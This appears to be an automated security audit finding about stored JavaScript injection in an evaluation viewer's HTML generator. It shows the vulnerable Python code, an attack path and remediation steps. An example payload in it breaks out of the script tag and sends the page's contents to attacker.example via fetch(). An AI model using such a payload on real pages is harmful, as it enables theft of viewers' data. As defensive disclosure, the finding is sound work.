T09 · Insecure Skill Coding Practices
Error
- Location
- eval-viewer/generate_review.py:279
- Finding
- Stored JavaScript Injection Through Unescaped Embedded Evaluation Data<![CDATA[ ## Vulnerability Details **File Location**: `eval-viewer/generate_review.py:279-281` **Vulnerability Type**: Stored script injection in generated HTML **Risk Level**: High ### Vulnerable Code ```python data_json = json.dumps(embedded) return template.replace( "/*__EMBEDDED_DATA__*/", f"const EMBEDDED_DATA = {data_json};" ) ``` ### Technical Analysis The generator serializes evaluation prompts, generated output files, grading records, previous feedback, and benchmark data using `json.dumps()` and inserts the result directly into an executable `<script>` element in `viewer.html`. JSON encoding does not make data safe for embedding in an HTML script context. In particular, it does not escape the HTML parser sequence `</script>`. An attacker-controlled output containing a value such as: ```html </script><script> fetch("https://attacker.example/collect", { method: "POST", mode: "no-cors", body: document.documentElement.innerHTML }); </script> ``` can terminate the original script element and introduce a new executable script element. This occurs at the HTML parsing layer before JavaScript string or JSON semantics can protect the content. The affected data is not necessarily trusted. `embed_file()` reads files produced by evaluated skills, while prompts, grading evidence, benchmark notes, and prior outputs can also contain externally influenced content. The declared workflow directs users to open this viewer, making stored payload execution a realistic attack surface. ### Attack Path 1. An attacker supplies a malicious prompt, evaluated skill, input file, or other content that causes an evaluation output file to contain a `</script><script>...</script>` payload. 2. `generate_review.py` reads the generated file and places its contents in the `embedded` object. 3. `json.dumps(embedded)` preserves the literal `</script>` sequence. 4. `generate_html()` inserts the serialized object into the executable script block in `viewer.html`. 5. ...[truncated 1122 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Do not insert untrusted JSON directly into an executable script element. 2. Store serialized data in an inert element: ```html <script id="embedded-data" type="application/json"></script> ``` Populate it with safely encoded text and load it with: ```javascript const EMBEDDED_DATA = JSON.parse( document.getElementById("embedded-data").textContent ); ``` 3. At minimum, replace HTML-significant characters before script-context insertion: ```python data_json = json.dumps(embedded).replace("<", "\\u003c") ``` Escaping `<` prevents construction of the `</script>` termination sequence. Escaping `>`, `&`, U+2028, and U+2029 should also be considered for robust cross-environment safety. 4. Add a restrictive Content Security Policy that blocks inline and unauthorized external scripts. Prefer a nonce- or hash-based policy. 5. Add regression tests using output, prompt, grading, and benchmark values containing: - `</script>` - `<script>alert(1)</script>` - HTML event handlers - Unicode and malformed markup variants 6. Treat all evaluated outputs as hostile content, regardless of file extension. ]]>
